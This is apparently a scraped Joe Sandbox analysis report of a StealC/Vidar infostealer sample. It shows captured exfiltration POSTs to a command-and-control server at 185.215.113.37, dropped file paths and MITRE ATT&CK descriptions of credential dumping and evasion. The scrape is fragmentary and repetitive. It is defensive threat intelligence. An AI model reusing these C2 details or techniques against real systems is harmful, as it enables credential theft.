name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="message"ybncbhylepme------IIJKJDAFHJDHIEBGCFID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHIDHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHJKJDAKEHJDGDGDGHID--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

C:\ProgramData\DBGIJEHI

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

C:\ProgramData\HDBGHDHC

C:\ProgramData\HIEBAKEHDHCAKEBFBKEGCGIEBF

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

C:\ProgramData\JKJDHDBKEBGHJJJJKEHDHJJEGH

C:\ProgramData\KFIJJJEBGCFBGDHIDGCAEGDAAF

C:\ProgramData\KJKJJJECFIEBFHIEGHJD

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 005F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 005EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 005F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 005E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 005F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 005E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 005F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre